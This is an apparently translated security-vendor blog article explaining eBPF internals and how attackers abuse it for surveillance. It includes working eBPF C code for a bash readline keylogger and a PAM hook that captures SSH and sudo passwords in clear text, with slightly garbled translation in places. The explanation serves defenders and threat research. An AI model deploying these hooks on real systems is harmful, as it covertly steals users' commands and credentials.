Ekaterina Gainullina, Security Vision
Introduction
Hello everyone! This time you will find a series of articles on the topic of "eBPF through the eyes of a hacker". In the first part, I will tell you how eBPF gives an attacker "eyes" in the system - the ability to discreetly observe input and events, and in the following sections I will consider how eBPF can be used not only to eavesdrop, but also to actively interfere with the system.
eBPF (extended Berkeley Packet Filter (also known as the "Extended Berkeley Packet Filter") is a technology originally developed to extend the control capabilities of the network subsystem and processes in the Linux kernel. It quickly attracted the attention of large IT companies, which contributed to its development. However, its unique capabilities also attracted the attention of attackers: the fact is that eBPF can be abused to hide network activity and processes, collect confidential data, and bypass firewalls and detection systems - while detecting such malicious activity is extremely difficult. As a result, eBPF has become a new tool in the arsenal of advanced attacks: in recent years, examples of malware using eBPF have been recorded (the Boopkit, BPFDoor, Symbiote, etc.). To protect against such threats, you need to understand how eBPF works from the inside and what capabilities it gives to an attacker.
Next, we will take a detailed look at the internals of eBPF and how it is used “through the eyes of a hacker” – that is, how an attacker can use eBPF to monitor a system, interfere with its operation, and mask their presence. We will also discuss methods for detecting and countering such attacks.
eBPF Architecture: Programs, Maps, and Verifier
Execution model. At its core, eBPF is a set of instructions set architecture), executed inside the Linux kernel in a virtual machine. An eBPF program is typically written in "restricted" C and compiled to bytecode eBPF is limited in size and functionality. The resulting bytecode is loaded into the kernel via the bpf() system call (e.g. using the bpftool utility or libraries like libbpf ). When loaded, the kernel verifies the program using a special verifier, and then may JIT compile it into machine code to improve performance. Once loaded successfully, the eBPF program is bound to a specific point in the system (a trace point, a network interface, a system call, etc.). When an event occurs in the system associated with this point, the eBPF program code is executed, which has the right to access the event context (kernel data structures) and to user-space data via safe calls. Thus, eBPF allows dynamic execution of small special code in the kernel, controlled from user space - a kind of "hybrid" between user applications and a kernel module.
Program types and attachment points. eBPF programs can be attached to different kernel subsystems depending on the tasks:
• Kprobe / Kretprobe: Intercept kernel function calls (entry or exit from a function). Allows you to monitor or change the behavior of any internal kernel functions by name.
• Uprobe / Uretprobe: intercepting function calls in user space (libraries or executables). For example, you can "eavesdrop" on a function call in libc or an application without changing its code.
• Tracepoint: connect to built-in kernel tracepoints (statically defined events) to track system events (process creation, file opening, etc.).
• Network filters: intercepting packets at different stages of the network stack. This includes the classic socket filter (BPF attaches to a raw socket, similar to the old packet filter) and advanced options: XDP (eXpress Data Path) – low-level interception of incoming packets at the NIC driver level, Traffic Control (tc egress/ingress) – filtering/modifying packets when exiting or entering through a network interface at the queue level, cgroup hooks (e.g. filtering network calls or access to devices within a cgroup).
• LSM hooks: since kernel version 5.x eBPF can bind to security hooks (Linux Security Modules), allowing you to inject your code into security checks (e.g. opening a file, accessing resources). Such programs can even change the decision returned by the security mechanism, thereby implementing object hiding or emulating other security policies.
• Other: eBPF is also integrated into other mechanisms (e.g. perf events for profiling, BPF timers, etc.), and the list of attachment points is constantly expanding as the kernel evolves.
It is important to note that loading an eBPF program usually requires superuser privileges (CAP_SYS_ADMIN or special CAP_BPF). Previously, Linux had the ability to run some eBPF programs without privileges, but starting with modern kernel versions, it is recommended to disable this ability (parameter kernel. unprivileged_bpf_disabled = 1).
BPF Cards (BPF maps). In addition to code, eBPF provides a mechanism for storing and exchanging data between a kernel program and user space, the so-called maps. A BPF map is a kernel data structure (hash table, array, counter, stack, etc.) that an eBPF program can access via special functions (helpers). A user application can also read and write to maps via the bpf() system call, for example, to pass configuration to an eBPF program or to receive the results of its work. Maps allow you to save state between program calls and exchange information: for example, one eBPF program can write a detected suspicious PID to a map, and another can read it and use it for filtering. There are different types of maps (arrays, hash tables, LRU caches, ring buffers, etc.) for different tasks. Map objects, like eBPF programs themselves, can be pinned to a special virtual file system called bpffs (/ sys / fs / bpf) for long-term storage and access from different processes.
Security verification. The powerful features of eBPF come hand in hand with strict restrictions designed to prevent kernel corruption. Loaded bytecode is checked by the verifier, a kernel component that analyzes each program instruction before execution. The verifier simulates code execution by monitoring register values and data types. It will not allow the program to be loaded if it detects potentially dangerous behavior: infinite loops (all loops must be explicitly limited or expanded into an algorithm with a condition), array overruns, writing to invalid memory addresses, using uninitialized variables, leaking pointers from the kernel to the outside, and much more. For example, pointers inside eBPF have special types (to a card, to a buffer, to a stack, etc.), and pointer arithmetic is allowed only within the allowed range - otherwise, loading will fail with an error. It also checks that before reading data from the stack, the corresponding area has been initialized (to avoid garbage leakage), and any operation that could lead to a violation of the integrity of the kernel is prohibited (an eBPF program cannot arbitrarily call kernel functions, but only strictly defined ones). helper functions). Thanks to this, the eBPF program cannot arbitrarily write to the kernel memory or perform uncontrolled actions. The verifier actually acts as a "guard", ensuring that the eBPF code "will not be able to act maliciously. " However, history knows of cases where these protections were bypassed: researchers found vulnerabilities in the verifier itself that allowed illegal actions to be performed (as of the end of 2024, more than 200 vulnerabilities related to BPF are known). Therefore, the relevance of timely updating the core and restricting access to eBPF is no less important than the technical complexity of implementing attacks.
Having analyzed the basic mechanisms, let's move directly to how an attacker can use eBPF "in the field". We will consider three aspects: surveillance (espionage) of the system, active intervention (manipulation) and ensuring the secrecy (masking) of their malicious tool.
Part 1. Surveillance - an invisible spy inside the system
Let's imagine that an attacker needs to secretly monitor user or system activity by intercepting important events. eBPF technology gives him this opportunity by allowing him to inject his dynamically loaded components directly into the Linux kernel. In the past, such a task required writing a kernel module or patching applications, risking calling the kernel panic. However, a hacker can now use eBPF programs to monitor system calls, network packets, or even functions in user applications - all without loading malicious modules.
One simple example of surveillance is a keylogger based on eBPF. In Linux, commands entered in the bash terminal are read using the readline function. eBPF allows intercepting calls to this function through uprobes - special entry points for user programs. An attacker can attach an eBPF program to the readline function in / bin / bash and receive each command entered as soon as the user types it. Below is a simplified example of such an eBPF program in C:
#include <vmlinux.h>#include <bpf/bpf_helpers.h>#include <bpf/bpf_tracing.h> #define MAX_LINE_SIZE 256 // uretprobe: intercept return from readline() in /bin/bashSEC("uretprobe//bin/bash:readline")int on_readline_return(struct pt_regs *ctx) { const void *ret = (const void *)PT_REGS_RC(ctx); // get pointer to returned string char buf[MAX_LINE_SIZE]; if (ret == NULL) { return 0; // nothing was read } // Read line from user space by received pointer bpf_probe_read_user_str(buf, sizeof(buf), ret); // Get the process PID and name u32 pid = bpf_get_current_pid_tgid() >> 32; char comm[16]; bpf_get_current_comm(comm, sizeof(comm)); // Print data to the trace ring buffer bpf_printk("Keylogger: PID %d (%s) typed: %s\n", pid, comm, buf); return 0;}
This program registers a uretprobe with the readline function in the bash process. Each time bash reads a user line, our hook takes control at the exit of the function and retrieves the line read (a pointer to it is returned by the readline function). Using bpf_probe_read_user_str, the contents of the command are copied from the user's memory to the buffer buf, and then using bpf_printk sent to debug output (available via dmesg or bpftool for example) perf). Thus, any input in the terminal is recorded in the kernel and can be subsequently collected by an attacker. It is important to note that such an attack requires privileges (running an eBPF program is only possible as root or through a privilege escalation vulnerability). Let's assume that the attacker already has the necessary rights - then the eBPF keylogger works transparently: the user and applications do not notice the substitution, and an "invisible" spy is running in the kernel.
In a similar way, it is possible to intercept not only shell commands, but also other sensitive data. For example, to steal passwords during authentication, it is possible to intercept a call to a function from the PAM library responsible for entering a password. In real attacks, the PamSpy malware (2023) has already been encountered, which used eBPF to track PAM functions and extract entered credentials. Simply put, when entering a password (for example, when logging in via SSH), the malicious eBPF program intercepts the pam_get_authtok function (receiving an authorization token) and receives the password entered by the user in clear text. Below is a fragment of an eBPF program illustrating this approach (a keylogger for SSH via PAM interception):
// uretprobe: intercept return from pam_get_authtok() function in PAMSEC library("uretprobe//lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok")int on_pam_return(struct pt_regs *ctx) { const char *pwd = (const char *)PT_REGS_RC(ctx); // get password pointer char buf[128]; if (pwd == NULL) { return 0; } bpf_probe_read_user_str(buf, sizeof(buf), pwd); // copy password from user-space u32 pid = bpf_get_current_pid_tgid() >> 32; bpf_printk("PamSpy: PID %d intercepted password: %s\n", pid, buf); return 0;}char _license[] SEC("license") = "GPL";
When an authenticator process (such as sshd or sudo) calls pam_get_auhttok to get the entered password, our eBPF program intercepts the output of this function and retrieves a pointer to the password string. Then, using bpf_probe_read_user_str, it reads the password into a kernel buffer and logs it via bpf_printk. As a result, the attacker gets every password entered by the user. This approach works inside the kernel, so traditional security mechanisms that only monitor user processes or the file system may not notice anything. The eBPF keylogger does not create new processes, open files, or make suspicious system calls - it is silently embedded into the kernel.
Conclusion
We've seen how an attacker can use uprobes for keylogging, monitor user activity via tracepoints and intercept functions, and do all of this without creating suspicious files or processes. The transparency of eBPF makes it both dangerous and difficult to detect. However, the Security platform Vision SOAR can help protect against such attacks by automating analysis and response.
For developers of security systems and blue teams, it is important to understand that an eBPF program is not just a "monitor", but a potential component of malicious infrastructure that can live in the kernel. Therefore, defense must begin with visibility: knowing what programs are loaded, where they are attached, and what they do.
Continuation follows.
.jpg)
 2 - копия.jpg)
